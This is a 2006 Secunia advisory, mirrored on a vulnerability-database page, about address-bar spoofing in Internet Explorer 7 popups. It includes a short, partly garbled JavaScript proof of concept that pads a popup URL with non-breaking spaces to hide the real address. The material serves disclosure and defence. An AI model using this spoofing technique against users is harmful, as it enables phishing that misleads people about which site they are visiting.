Microsoft Internet Explorer 7 - Popup Address Bar Spoofing

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1056008 漏洞类型
发布时间 2006-10-26 更新时间 2006-10-26
漏洞平台 Windows CVSS评分 N/A
Secunia Advisory:   	SA22542  	  
Release Date: 		2006-10-25
Impact: 		Spoofing
Solution Status: 	Unpatched
Software:		Microsoft Internet Explorer 7.x

A weakness has been discovered in Internet Explorer, which can be exploited by malicious 
people to conduct phishing attacks.

The problem is that it's possible to display a popup with a somewhat spoofed address bar 
where a number of special characters have been appended to the URL. This makes it possible 
to only display a part of the address bar, which may trick users into performing certain 
unintended actions.

Secunia has constructed a demonstration, which is available at:

The weakness is confirmed in Internet Explorer 7 on a fully patched Windows XP SP2 system.

Do not follow links from untrusted sources.

Provided and/or discovered by:
Discovered by an anonymous person.

<script language="JavaScript">
function StartTest()
 var padding = '';
 for ( i=0 ; i<108 ; i++)
 padding += unescape("%A0");
 newWindow ="", "Win", "width=500,height=325,scrollbars=yes");
 newWindow.moveTo( (screen.width-325) , 0 );
 newWindow.document.location = "/result_22542/?" + unescape("%A0") + unescape("%A0") + ""+padding;
 document.location = "";

# [2006-10-26]